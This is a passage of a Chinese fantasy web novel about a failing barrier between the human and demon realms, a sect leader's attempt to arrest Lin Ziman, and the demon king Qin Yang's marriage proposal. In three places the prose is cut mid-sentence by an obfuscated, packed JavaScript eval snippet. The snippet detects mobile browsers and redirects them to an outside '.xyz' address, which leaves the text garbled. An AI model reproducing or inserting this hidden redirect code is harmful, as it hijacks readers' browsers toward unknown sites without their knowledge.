这才是林子满寻来杨之曜的转世,最初的目的。 睡梦中的林子满含糊地喃喃着什么,看着很难过的样子,眼角不时有泪水淌出。 “师兄……对不起……” “我不许你寻我的转世,我却去寻了你的转世……你是不是会怪我?” “不过你放心,我不会将他当成你的。” “毕竟你们真的不一样。你不会处处留情,你不会记挂别人,你心里永远只有我一个人。” “师兄……我真的好想你……” 连着几天没日没夜的醉酒,林子满整个人浑浑噩噩的,吕秉清找上门来时,她正萎靡地缩在床榻里,头痛欲裂。 事态紧迫,吕秉清顾不得其他,一个咒语甩在林子满身上,将林子满冻得整个人一哆嗦。 见她清醒了几分,吕秉清连忙将人扶起来,语气十分严肃:“秦扬逃走了!” 刚强撑着爬起来的林子满一懵,疑心自己酒还没醒,不然怎么听到吕秉清说胡话了? 什么叫秦扬逃走了?秦扬好好的又没犯什么事,做什么要逃? 还没等她消化完这句话的意思,吕秉清接下来的一句话让她彻底清醒了过来。 “人妖两界之间的阵法出现破损了。” 林子满心一凉,事情竟真的朝最坏的结果发展了? 隔绝之阵的力量虽日渐衰弱,却不应该这么快就出现破损,到底发生了什么事造成了这样的变故? 迟渊他们又如何了? 按理来说他们应该早已回到蕉林谷了,她却迟迟未收到时客的传讯,莫不是出了什么意外? “阵法破损,人界各地突然出现了许多从妖都跑出来的妖,修真界尚且能自保,凡间……”吕秉清语气沉重,“凡间就惨烈多了,即便各大宗门已派出弟子前往救助,依旧是哀鸿遍野。” “好在蕉林谷与上阳宗联手,另起大阵阻止了隔绝之阵的继续破损,现在能从妖都跑出来的都是些实力不强的小妖,大妖暂时还不能通过隔绝之阵。” 但这终究不是长远之计,即便现在大妖还被困妖都,突破阵法重回人界也是迟早的事。 人族终是要迎来一场恶战。 林子满眉头紧拧,还未来得及担忧人族的将来,突然想起吕秉清进来时说的第一句话,心里涌起不好的预感:“你方才说秦扬逃走了是什么意思?” 64. 断臂 秦扬逃走了。 暴露妖族的身份后逃走了。 林子满呆楞在原地,久久回不过神来。 “昨晚,守夜的弟子发现有人潜入,见那人鬼鬼祟祟的,便一边传讯通知其他人,一边偷偷跟在那女子身后,没想到,对方来此的目的竟是秦扬。” 因为怕被发现,那弟子不敢离得太近,只隐约听到来人称呼秦扬为‘殿下’,还说什么如今情况危急,请他速回妖都主持大局。他们没说几句话就发现了跟在身后的人,打算杀了他灭口,好在其他人及时赶到,那弟子才保住一条命。 因着人多势众,打斗中他二人渐渐落于下风,那女子突然怒吼一声,身体原地拔高数丈,化作一只巨大的火红狐狸,裹挟着妖力的尾巴一扫,就打伤了大半弟子,随后与秦扬双双逃走了。 林子满听吕秉清讲述着昨夜发生的事,一直沉默不语,许久之后,突然自嘲地笑了笑:“这么多年过去,原来我竟连他的真实身份都不知道。” 吕秉清看她这幅样子,心里也不好受,先前他总说秦扬不是个好人,让林子满离他远些,没想到一语成谶。现如今已不仅仅是拈花惹草这样多情的品性问题了,他隐藏身份潜伏人界,到底有着怎样的阴谋还未可知。 思量片刻,吕秉清沉声道:“师姐,你这几日还是待在无为峰上,暂时不要下山了。” 秦扬身份暴露的事情压不住,永凌山上上下下已经传遍了,即便吕秉清严厉喝止,依旧有不少人在背地里议论林子满。 毕竟,当初是她将秦扬带回来的,对他又那样好,又是帮他洗髓锻体,又是搜罗天材地宝的,再加上那些暧昧不清的流言,谁都猜得到他们之间的关系不一般,那谁又能说林子满是清白的,根本不知道秦扬的身份呢? 更有甚者,已经开始怀疑林子满的身份,秦扬是妖族,那林子满就一定是人族吗?他们关系那样亲近,会不会本就是同类? 流言蜚语甚嚣尘上,林子满若此时现于人前,必会遭受异样的眼光,还不如眼不见为净,躲在无为峰上暂避风头。毕竟林子满名义上还是掌门道侣,还没有人放肆到敢跑到无为峰上来打扰她。 林子满知他好意,道了声“多谢”,无力地靠回床头,惨淡一笑:“如今除了无为峰,我也是无处可去了。” 都道此心安处是吾乡,可世界那么大,怎么她就找不到一处能安心的地方呢? 吕秉清本意是想让林子满在无为峰上静修一段时间,可如今情势危急,容不得林子满黯然神伤、萎靡不振。 仍有妖怪自妖都陆陆续续跑出,人界各地出现了越来越多的妖。 上阳宗牵头组织了一场大会,整个修真界门派的掌事者皆参与其中,面对这场突如其来的灾难,各宗各派皆放下彼此之间的成见,暂缓或大或小的冲突,携手抵御共同的敌人。 留下足够镇守宗门的人手后,各大宗门便遣弟子前往凡间,捉妖救人,重建城邦,助凡人度过这次劫难。 当然,有一个宗门除外。 驭妖宗众弟子并不像其他前往凡间的弟子一样,以救死扶伤为己任,而是只顾着驯服妖兽,若遇到强大或稀奇的妖兽,就兴奋地上去收服,若遇到弱小的妖兽,即便它们正屠戮凡人,也是连正眼都不屑给一个的。有些作恶多端的妖还会故意与驭妖宗弟子契约,借此逃过其他人的追杀。 上阳宗与蕉林谷开始对驭妖宗发难,诘问周余是否与妖都早有勾结,此次隔绝之阵破损是不是驭妖宗在背后做了什么。 但周余只是冷冷丢下一句“没有证据就别在这儿血口喷人”,随后诏令所有驭妖宗弟子回宗,紧闭山门,不再参与外界事务。 如今事态复杂,众人既要全力维持隔绝之阵,又要调拨人手救助凡人,还得防着妖兽袭击宗门,实在分身乏术。驭妖宗态度这样强硬,没有确切的证据,他们确实也无法将他们怎么样,只得令众门派多加防范,提防驭妖宗在背后使阴招。 林子满去了趟蕉林谷,见到了重伤昏迷的迟渊。 时客守在一旁为他梳理灵力,表情凝重。 林子满看着迟渊空荡荡的衣袖,声音有些发颤:“妖都到底发生了什么?事情怎么会变成这样?” 时客沉默着没说话,一道苍老的声音自他们身后响起。 “少主是为了阻止隔绝之阵彻底被毁,才铤而走险,自断一臂留在妖都,借由他与手臂之间的联系,感应到隔绝之阵,助我们另起阵法阻止了隔绝之阵继续崩塌。” 听见这个声音,林子满动作一顿,犹豫许久才缓缓转身,迎着对方复杂的眼神,轻轻唤了声:“时长老。” 时长老抚了抚花白的长胡子,看了她许久,悠悠地叹了口气,也没追问什么,只是说了句:“回来就好。” 他在一旁的藤椅上坐下,将迟渊在妖都的遭遇娓娓道来。 原本一切都按计划进行得很顺利,迟渊他们在灵泽附近,偶然从一名年岁悠久的树妖口中打听到,确实有一种妖名为魇,妖力虽不强,却天生拥有一种能力,能轻易乱人心智、惑人心神,令妖不自觉产生畏惧臣服的心理。 但魇妖数量极为稀少,就连那活了上万年的老树妖,也只在曾经人妖混战的时候见过一只,后来这许多年,竟从未再遇见过。 打听妖兽的消息容易,想要打探驭妖宗的消息却难如登天。 人界与妖都分隔已久,贸然发问只会引来怀疑,况且迟渊他们还得提防身份暴露,行事更加需要谨慎,在灵泽隐晦地试探了几日都没得到什么有用的消息,隐息丹也快到时限了,他们正打算就此放弃,先返回蕉林谷时,变故发生了。 灵泽最中心的地方,妖王王宫所在之处,突然爆发一阵耀眼的光芒,赤白色光束直冲云霄,随后,整个妖都都开始微微震颤。 许久之后,震颤停了下来,一道光幕自王宫上方出现,像水波一样向四周荡开,范围越来越大。 众妖惊疑不定地看着那片巨大的光幕,那里面正缓缓显出一座城镇,人流如织,热闹非凡。 那是什么地方?众妖面露疑惑。 迟渊一行人却脸色剧变。 那正是离蕉林谷最近的一座凡间城镇! 就在此时,几名妖修自王宫飞身而出,跃入光幕之中。 下一刻,所有注视着光幕的妖与人都看到,那几名妖修出现在了那座城镇里。 城镇里的人被突然出现的妖修惊吓到,纷纷聚拢在一旁,惊疑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902881|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定又好奇地看着这些装束怪异的“人”。 他们不知道,灭顶之灾已经降临。 那几名妖修对望几眼,从彼此的眼里看到了惊讶与狂喜,他们看着旁边一无所知的人族,露出嗜血又无情的笑。 下一瞬,一颗头颅自脖颈上断裂,直直飞了出去,鲜血洒了一地。 一名妖修看着手里犹睁着眼的人头,邪笑着舔了舔唇角。 周围围着的人群呆愣一瞬,随即爆发出尖锐的喊叫,你推我搡地四处奔逃而散。 然而已经晚了。 几名妖修一跃而起,尖利的指甲如切瓜砍菜一般,轻而易举地割下一串串头颅。 刹那间,繁华的闹市已变作人间炼狱,处处是残尸断肢,鲜血浸润青石板街道,瞬间便看不出原本的颜色。 王宫里传出几声哈哈大笑,一道雄浑的声音在灵泽响起:“阵法已破,诸位随我去人界杀个痛快!” 话音才落,又有几道身影朝那光幕跃去。 迟渊右手一抬,收于储物袋的法器飞出,八枚符箓绕着中心的阴阳两仪飞速转动。下一刻,一众护卫一同飞身跃起,长剑出鞘,剑锋直指光幕之下那几名妖修。 形势危急,他们也顾不得隐藏身份了,若就这么放任他们进入人界,不知有多少生灵要遭受灭顶之灾。 然而妖都的妖与人界的妖完全不可同日而语,况且这是在灵泽,妖力强大的妖修不知凡几,即便迟渊身为化神期修士,还带着一群实力强大的护卫,也没有全身而退的把握。 他们能迅速斩杀那几名试图进入人界的妖修,不过是趁其不备,占了先机。 灵泽众妖也不是吃素的,那几名妖修的尸体还未落地,就有反应快的妖冲了上去,闪着寒光的利爪狠狠朝他们拍去。 一番恶战下来,护卫死伤大半,迟渊喘着粗气望向王宫,奢靡的宫殿下,妖王带着一众手下正轻蔑地看着他们。 妖王模糊成一团的脸蠕动着,五官不时发生变化,一会儿是秀美女人,一会儿是虬髯大汉。他看着突然出现的人族,心里并没有很大的波动,看了一阵就觉得兴致缺缺。 若是从前在妖都出现了有这般能耐的人族,他或许还会觉得新奇,会让人抓过来赏玩一番。但现在阵法已破,他们马上就能去往人界,那儿有各色各样的人族,鲜美又有趣,眼前这几个垂死挣扎的,实在没什么看头。 他随意挥了挥手,身后的妖修立马走上前,准备将这群碍眼的人族一举剿灭。 余下几人已是强弩之末,迟渊不再恋战,当机立断从怀里取出子阵阵图,念动口诀催动阵法。 阵图上所绘法阵在灵力运转下苏醒过来,从阵图上漂浮而起,迅速扩展,散发出淡金色的光芒将几人笼罩在下方。 就在阵法生效,几人要被传送回蕉林谷时,迟渊抬头看了眼天上,那片光幕仍在继续扩大,城镇里的人族哀嚎着四散奔逃,却避无可避、逃无可逃。 迟渊死死咬着牙,心想,绝不能任由隔绝之阵就这样被毁掉!他眼中闪过一抹厉色,毫不犹豫地挥剑,将自己的右臂利落斩下! 下一刻,淡金色光芒中的人影原地消失,飞溅着鲜血的手臂重重砸在地上,激起一片尘土。 65. 缉拿 “少主常年画符、布阵,手上纹满了自创的符文,倾注在右手之上的心念非常人可比,即便身归人界,右手遗在妖都,二者之间也有微妙的联系,借此便可感应到存在于两界之间的隔绝之阵。”说到这儿,时长老看了眼躺在榻上的迟渊,眼里有些心疼,又带着欣慰与骄傲,“少主回来后,来不及治伤,草草止血后就开始与我们布阵阻止隔绝之阵继续崩塌,强撑到阵法成型,他才敢放松心神,彻底晕了过去。” 若没有迟渊,情势必定要比现在糟糕千百倍,隔绝之阵若彻底被毁,妖王与一众大妖重临人界,才是真正的腥风血雨、生灵涂炭。 林子满看着那截空荡荡的袖袍,难过地想:可没了右手,迟渊以后该怎么画符布阵呢? 看出林子满心中所想,时长老拍了拍她的肩:“相信少主吧,即便没了右手,他依旧会是整个修真界最厉害的阵修。” 他决定斩下自己右手的那一刻,就知道多年来的苦修或将毁于一旦,但依旧毫不犹豫地做了。 . 这日,林子满刚从凡间回来,沾了一身的血腥气,便打算回去清洗一番,换身衣裳。 路上碰见几名弟子,皆用一种奇怪的眼神偷偷看她,像是有几分同情,又带着些看好戏的幸灾乐祸。 林子满看了看自己周身,也无甚奇怪的地方,他们到底在看什么?看又不敢光明正大地看,自以为藏得很好地偷摸着瞧。 她正莫名奇妙,迎面走来了一名身量纤柔的女子。 见她这满身煞气的样子,女子不自觉瑟缩了一下,惶惶然地四处张望着,像是在找什么人。 林子满眉头一皱,她虽与永凌山弟子少有往来,大部分弟子都不认识,好歹也能混个脸熟,眼前的女子实在眼生,又形迹可疑,莫不是混进来的妖修? 正打算将人制住细细问讯,吕秉清从不远处走来:“师姐,你回来了?” 林子满还未答话,那女子已如乳燕投林般朝吕秉清奔去,躲至他身后,探出半个头怯怯地看着林子满。 吕秉清安抚地拍了拍她抓着自己袖子的手,温声道:“别怕,这是我与你说过的林柿师姐。” 他拉着那女子来到林子满跟前,脸上带了些少有的羞涩:“师姐,这是琼若。” 林子满初闻有些惊讶,随后了然地挑了挑眉,打趣道:“这么多年了,终于把人找回来了?” “也算是因祸得福吧。”吕秉清看向身边仍有些惊慌的女子,眼里满是心疼,“前些日子,大批妖兽袭击了琼若所在的城镇,那里的散修修为都不高,骤然遭难死伤惨重,她的夫家也满门覆没。琼若好不容易死里逃生,又遇险重伤,落入凡间,恰巧我当时也在凡间,刚好碰上了,才从一群流民里救出了她。” 寻了数百年都未有消息的人,却因这一场妖兽动乱而意外重逢,吕秉清心里满满都是庆幸,庆幸自己那日刚好在凡间,庆幸自己恰好救下了她。 直到走上寒月岛,看着吕秉清细心将琼若安置好,林子满才后知后觉地反应过来,先前那些弟子怪异的目光到底是因为什么。 在外人看来,她这为人孤僻,性子高傲还养小白脸的掌门道侣,怕是终于要遭报应了。 他们那仿佛被下了蛊,能忍常人所不能忍之事的掌门终于开了窍,开始寻找第二春了。 林子满颇有些哭笑不得。 “师姐笑什么呢?”吕秉清从别院走出,看见林子满正笑得一脸无奈。 林子满干咳两声,敛了笑:“没什么,就是在想我们这做了几百年的‘夫妻’,是不是该走到头了?”毕竟如今正主都回来了,她也不好再占着不属于自己的位置。 听到这儿,吕秉清的眼神反倒黯淡下来,许久之后,他摇了摇头,轻声道:“师姐,我和她早已回不到曾经了。如今只要能看到她安好便够了,其他的,我早已不敢奢求了。” 从许多年前吕不渝没有耐住寂寞,背叛吴谙水的那一刻开始,他与琼若就注定没有了未来。 这些年来他一直没有放弃暗地里寻找,也只是担心她过得不好。 当年因为他的缘故,琼若被迫草草出嫁,而后再也没有了消息。他怕她所嫁非人,怕她受委屈,想付出一切补偿她,却再也不敢奢求一份不可能的情感。 如今这样已是他能想到的最好的结果,琼若就在他身边,而他,也已有足够的能力去保护她,让她再也不用独自面对外界的风风雨雨。 林子满无声地叹了口气,心想,这世间为何总是有这样多的阴差阳错,让芸芸众生各有各的不圆满呢? 她与杨之曜,吕秉清与琼若,林征与周芜,皆是如此。 周芜去世不到一月,上阳宗再次传来噩耗:林征闭关修炼时走火入魔,破关而出后在宗内大开杀戒,座下大弟子魏月南为阻止他重伤濒死,至今昏迷不醒。 耗尽一身狂暴的灵力后,林征停了下来,就在众人谨慎地准备上前查看时,直直站着的人猝然倒地,再也没了生息。 天下第一宗宗主,整个修真界战力最强之人,最后竟以这样一种狼狈的方式与世长辞。 众人皆说他是因周芜的死过于悲痛,心灰意冷,才会死于这么一次小小的闭关。 有人感叹于林征的用情至深,天下至尊的强者,竟会为了这么一个才貌修为皆不出众的普通女子搭上性命。 更多的人却是谴责埋怨。 修仙之人,本就不该耽溺于儿女情长,更何况如今人界正处于危难之际,无数强大的敌人正隔着一道摇摇欲坠的屏障虎视眈眈。身为修真界第一人,承担的本就是不一般的责任,林征该做的是带领人族抵御妖族的进犯,而不是为了个女人要死要活。 如今他一死,修真界失去一大战力不说,上阳宗也折损了不少后起之秀,连魏月南这称得上半个主事人的大弟子都性命垂危,整个上阳宗人心惶惶,乱成一片。 最终,林芷在一众长老的支持下成功登位,成为新一任上阳宗宗主。 不得不说,林芷虽然看似柔弱,修为也只到元婴,行为处事却雷厉风行,威逼利诱、笼络人心很有一套,不过几日,就以雷霆手段收拾了一众不安分的弟子。 待上阳宗内部风波稍定,重新步入正轨后,林芷做的第一件事却是召集宗内各大高手,以勾结妖族之名,前往永凌山缉拿林子满。 永凌山山门处,林芷带领的一众高手与永凌山众弟子遥遥对峙,不远处围满了闻讯赶来的其他修士。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902882|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就实力来说,整个永凌山加起来恐怕都够不上上阳宗一根指头,若真打起来,永凌山可以说毫无胜算。 但林芷今天不知道怎么回事,一改往日杀伐决断的性格,吕秉清拒绝交出林子满后她也不生气,竟好声好气地劝说起来。 “永凌山对上上阳宗会有怎样的结果我想你们心里也很清楚,你们确定要为了这么个妖族奸细赔上性命,白白葬送大好的未来吗?” 林芷这话一出,不少弟子面上都闪过犹豫之色。林子满虽为本宗长老,还是掌门道侣,但平时与他们并无什么往来,更谈不上交情。而且秦扬是妖这件事更是不少弟子亲眼目睹的事实,还打伤了他们不少人,而将这样来历不明的人带回来,林子满也算不得无辜,又凭什么要求他们赔上性命? 林芷看着那群互相对望,神色犹豫的弟子,脸上露出一抹得意的笑。 看吧,她林子满也并不是那样招人喜欢,也会很轻易就被人放弃嘛。 “秦扬是妖这件事很快就会传遍整个修真界,你们没想过日后别人会用怎样的眼神看你们吗?”林芷循循善诱,“他们会想,既然秦扬是妖,那永凌山其他人会不会也是妖呢?就算不是妖,会不会也被秦扬蛊惑了呢?毕竟他们在一个宗门里呆了那么多年,难道真的一点端倪都没发现吗?” “一旦有了这样的猜想,你们知道会发生什么吗?” “为了整个人族的未来,为了杜绝后患,各大门派会联合起来,将可能包藏祸心的你们——”林芷掩了掩嘴角,似是有些不忍,一字一句轻声道,“一个一个剿杀殆尽。” 林芷叹了口气:“到时候,即便是我,也是拦不住的。” “所以,还不如把那个将秦扬带回来的人交出来。这样,你们也算是跟妖族撇清关系,自证清白,不用被连累得白白送命了。” 这话说到了不少人心里,身后弟子的议论声越来越大,吕秉清铁青着一张脸,厉声呵斥道:“你们在永凌山修行这么多年,学会的就是在危难关头让自己的同伴去死,换自己苟且偷生吗?!” 有弟子鼓起勇气道:“可林宗主说的很有道理啊,我们得顾全大局,若不将林长老交出去,整个永凌山都会成为修真界的——啊!” 他话还没说完,一道凌厉掌风落在他身上,打得他连退几步,下一刻便口吐鲜血,倒在地上昏死过去。 “再有敢动摇人心者,下场皆如他一般!”吕秉清冷声道,“今天他们能以勾结妖族这种莫须有的罪名要求我交出林长老,明日难道就不会用其他由头让我交出别人?你们又怎知自己不是被交出去的那个?” “今日你们能劝我顾全大局,日后灾祸落到自己头上,你们还能像今日这般言辞恳切,大义凛然吗?!” 众弟子不说话了,但脸上的神情犹有些不忿,他们又没有勾结妖族,怎么会有这样的灾祸落到头上? 林芷脸上闪过一丝不悦,却依然感慨万千地鼓了鼓掌:“真看不出来,吕掌门还是这样一个护短的人,佩服佩服!” “不过啊,你们的门情谊虽令我感动,但今天我可不打算空手回去。”她遗憾地朝吕秉清笑笑,素手轻轻一挥,身后跟着的一众人顿时飞身而出,“所以只能说声抱歉了哦。” 66. 求亲 “——住手!” 就在永凌山众人咬牙准备开战时,一声清喝由远及近,一道身影御剑而来。 来人正是好不容易挣脱吕秉清定身咒的林子满。 看见她的一瞬间,林芷就抬手阻止了手下的动作,待林子满来到近前,她微微笑起来:“你知道的,我不喜欢强人所难,你愿意乖乖束手就擒,我自然会放过他们。你也不想看到这儿血流成河吧?” 林子满冷眼看着她这副故作慈悲的样子,垂手摆出不做抵抗的姿势:“既如此,你的目的已经达到了,可以离开了吧?” 林芷哼笑一声,不再多言,手腕一动,捆仙索飞旋而出,霎时将林子满捆了个结结实实。 吕秉清急道:“师姐!” 林子满微微侧头,喝止了身后准备冲上来的人:“你如今是一宗之主,当以整个永凌山为重,不可由着自己的性子胡来!” “这些年来多谢你了。”她竟还有心情对吕秉清笑了笑,“你也算对得起他的嘱托了。” 林芷看着这番宛若生离死别的景象,心里很是满意,想想接下来的日子,眼里愉悦更甚。 就在她兴致盎然地准备回宗试试新得手的那几件刑具时,一道清朗的声音突然从上方传来:“本王来的倒巧,好热闹啊。” 什么人?众人一惊,齐刷刷抬头望去。 云层散去,露出不知何时出现在他们头顶的一行人。 他们身上穿着奇异服饰,发型夸张肆意,有些人脸上还长着各色纹路,一看就绝非善茬。 而看到为首之人时,不少人顿时呼吸一滞,眼底不自觉流露出惊艳之色。 只见那人一身青色长衫,端的是体态风流、丰神绰约,与身后一群黑红艳紫形成鲜明对比。相貌俊美,长眉入鬓,眼尾两抹青色纹路更添几分妖冶魅惑。 若只是个样貌出众的美人,倒还不至于引得众人如此失态,奇就奇在他不仅长着一张姣好的面庞,通身更是透着一股难以言喻的吸引力,被那双水波流转的黑亮眼眸一扫,呼吸都不自觉轻了下来。 窃窃私语声自人群中传出—— “这人是谁?他们是何时出现的?我竟毫无所觉。” “他为何自称本王?哪来的什么王?” “怕是来者不善啊,看那一个个凶神恶煞的。” 而永凌山众人已认出为首之人来,有人惊呼出声:“那不是秦扬吗?” “他妖族的身份都暴露了,怎么还敢出现?” “他怎么变成这副模样了?妖里妖气的。” “人家本来就是妖,妖里妖气的才正常啊!” 盯着容貌昳丽的秦扬,林芷眼中的惊艳一闪而过,而后升腾起隐秘的嫉妒,她冷声道:“怎么,你是来救你的同伙的?” 接着她手臂一抬,林子满颈间一凉,垂眼一看,一柄利剑正闪着嗜血的寒芒。 林芷提高音量,确保周围的人都能听得清清楚楚:“你果然与妖族有所勾结!说,你这奸细是何时潜入修真界的?!” 这话一出,周围原本只是来凑热闹的修士,顿时心里一阵嘀咕,联系前因后果来看,这妖族奸细竟然已经混到永凌山掌门道侣的位置,还迷惑得吕秉清愿意为了她不顾整个门派的安危。 都道妖族擅长惑人心智,现在看来果然传言非虚! 况且妖族奸细会仅仅只有这么一个吗?会不会许多门派里都有他们的奸细,只是无人察觉? 念及此,众人脸色一凛:若当真如此,人族危矣! “林宗主若再一口一个奸细,污蔑于本王恩师,本王可就要按妖族规矩办事了。”秦扬看着架于林子满颈间的利剑,语气不善。 “恩师?她什么时候成你恩师了?”林芷并未将他的威胁放在眼里,反倒像是听到什么好笑的事,忍俊不禁,“怎么,与自己师娘私下勾结不好听,与恩师苟且就不怕别人笑话了?” 秦扬:“此言差矣,林长老虽非本王名义上的师父,却一直尽心教导本王,所以称一句恩师也不为过。” “本王深受林长老感化,折服于林长老心忧苍生的大义,此次前来便是打算化解人妖两族的矛盾。却没想到上阳宗的新任宗主如此不识大体,竟敢多番折辱林长老,那就别怪本王不留情面了。” 话音未落,秦扬原本圆润的眼瞳开始变细变窄,缩成细细的竖瞳,瞳色由黑转青,眼尾妖纹灵光大盛,仿佛绽放的青色莲花。 妖异的兽瞳扫过在场众人,不带一丝温度,冷漠得如同看待死物。 凡是被那双眼睛扫过的人,皆是心神剧震,神魂不自觉颤栗起来,他们骇然发觉自己竟莫名对眼前之人产生了臣服之感。 林芷执剑的手开始微微颤抖,她咬紧牙关,手中暗暗用力,却还是不受控制地慢慢移开了剑,转而将剑横在了自己脖颈之上,周围之人看着她的举动,惊惧之下发现自己的身体竟丝毫动弹不得。 锋利的剑刃只需稍稍用力,就能割破薄薄的皮肤,感受到脖颈上传来的刺痛,林芷厉声道:“你这是使的什么妖术?!” 虽然强自镇定,却还是能听出她语气里藏不住的恐惧。 “这么惊讶做什么?妖修使妖术是什么很稀奇的事吗?”秦扬讥讽地勾了勾唇,“拿剑指着别人时趾高气扬,被自己的剑指着时也会害怕呀?” 他竖起食指,姿态极优雅地轻轻往左一推,林芷的手跟着他的动作用力,剑刃顿时切进肉里,大股鲜血顺着剑身汩汩而下! 眼见上阳宗宗主就要在众目睽睽之下被胁迫自戕,周围一群修士却无一人有能力出手相助,他们心中寒意愈盛:他们与妖族的实力竟相差如此之大?将来人族与妖族开战,他们当真有取胜的可能吗? “——住手。” 就在林芷失血过多,脸色泛出青灰时,终于有人出声制止他。 林子满冷冷地看着面前妖异得有些陌生的男人:“你这是做什么?特意来给我们个下马威?” 秦扬脸色有一瞬的凝滞,若无其事地用手在眼前一挥:“怎么会呢,我方才说过,此次前来是为了人妖两族休战之事。” 袖袍落下,青色竖瞳已恢复成往常模样,秦扬脸上妖相褪去,周围一众修士终于从无法动弹的状态里挣脱出来。 “哐啷——” 佩剑坠地,林芷无力跌倒在地,一手勉强撑着身子,一手紧紧捂着还在狂涌鲜血的脖颈,惊恐又怨毒地盯着秦扬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902883|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 上阳宗众人忙围上来,一刻不停为她输送灵力。 “人界与妖都分隔已有上万年,人族不了解妖族实力也情有可原,但经过刚才那一遭,谁强谁弱想必诸位已是心中有数。”秦扬不紧不慢地说,“虽说隔绝之阵还未完全崩坏,现在能进入人界的都是些无能小妖,但那阵法对本王来说形同无物,只要本王想,随时能让大妖进入人界。” 说着他微微偏头,瞥了身侧之人一眼,那人会意,朝前一步跃下云头,身形陡然暴涨,于半空中化作一只巨大的山猫,落地时激起大片尘埃,示威般的吼声在山间久久回荡。 那裹挟着灵力的吼声清清楚楚地告诉在场众人,他们面对的是一个怎样强大的敌人。 林子满看着那眼熟的黑色大山猫,陡然间明白了什么。 “现在进入人界的只是些末流小妖,就已经让你们焦头烂额,若当真与我族开战,你们毫无胜算。” “但是——”秦扬满脸真诚地说,“本王受林长老感化,实在不愿看到那样生灵涂炭的场景,因此特意前来阻止两族交战。” 有人沉声问:“你想怎么做?” 秦扬正了神色,目光专注地看向林子满,声音清亮:“惟愿两族能结秦晋之好,联姻亲之盟。” 林子满怔住了。 周围所有人都怔住了。 这是在……求亲? 看着秦扬那全然不似玩笑的神色,周遭修士看向林子满的眼神逐渐耐人寻味起来,更多的人以一种同情的眼光望向吕秉清。 吕秉清:“……” 他这几天实在是遭遇了太多,简直心力交瘁,此时顶着旁人探究的眼神,一脸麻木。 “不知林长老意下如何?可愿为了两族和平,入我妖都?”秦扬笑意盈盈地问林子满。 林子满面无表情地与他对望。 这让她怎么答? 虔诚又深情地说一句“Yes,Ido”吗?! 看着林子满一脸空白的样子,秦扬忍笑:“不反对我就当长老同意了。” “既如此,本王正式向人族求娶林柿长老,在场诸位皆是见证。”秦扬的声音带上灵力,每一句话都清楚地传入在场之人耳中,“本王会下令告知所有妖族,林长老入我妖都之日,便是人妖两族重修旧好之时。此后,再不会有妖主动出手伤人,修真界众人也不可再随意出手,捉拿安分守己的妖。” 一片静默后,有人质疑出声:“你当真能决定妖族中事吗?我们又不知你在妖族是什么地位,万一你说的这些都是骗我们的呢?” “就是,你下令不准他们再伤人他们就不会再伤人吗?你说的话当真管用吗?” “本王说的话管不管用你们不是最清楚吗?”秦扬戏谑地瞥了眼林芷,“就算本王想让林宗主去死,林宗主不都得给本王这个面子,慷慨赴死么?” 感受到周围人落在自己身上的眼神,才缓过来些的林芷脸色一阵青一阵白,一口银牙几乎要咬碎。 今日之耻一定要讨回来!她恨恨地想。 “再说了,父王已退位,不再理事,若是连这么件小事都有妖敢不从,本王还称得上什么妖王,直接将整个妖都拱手相让好了。” 67. 肤浅 “你……你是妖王?!” 众人一开始听他自称本王,心里都有所猜测,但都只以为是某个族群的首领,万万没想到他竟然就是妖都之主! “这么惊讶做什么,难道本王不像吗?那不然给你们露两手看看实力?”秦扬凉凉地扫了眼那几个眼带质疑的人。 回想起方才不过一个眼神,他们全身就已动弹不得,那几人讷讷地躲开了秦扬的目光,不敢再多言。 秦扬不屑地冷嗤一声,不再与这群无关紧要的人多言,手一挥,身后数人同时抬手结印,绚丽夺目的光晕中,无数鸟雀衔尾而出,铺成一条绮丽的“鹊桥”。 周围的人纷纷让路,秦扬踩着“鹊桥”一步步朝林子满走来,身后跟着绵延不见尽头的各色飞禽走兽,或衔或托,皆带着一个镶金嵌玉的华丽箱笼。 秦扬走至林子满身前,伸手将她身上的捆仙索解开,一边为她整理有些凌乱的衣裳,一边低声问:“此事并未与长老提前商量过,长老不会怪我自作主张吧?” 林子满语气无比平淡:“我哪来的胆子敢怪你啊,妖王大人?” 听出她话中的嘲讽之意,秦扬苦笑一声:“当时事发突然,我必须立马赶回妖都,又遭逢上阳宗其他弟子围攻,实在抽不出身去告诉你一声。” “那这么多年来,你也抽不出身告诉我一声你的真实身份吗?你到底还有多少事瞒着我?”林子满冷声问。 说不心寒是不可能的,这些年来,她就算称不上掏心掏肺,也已极尽所能地对秦扬好了,可到头来,他竟连真实身份都瞒着自己。 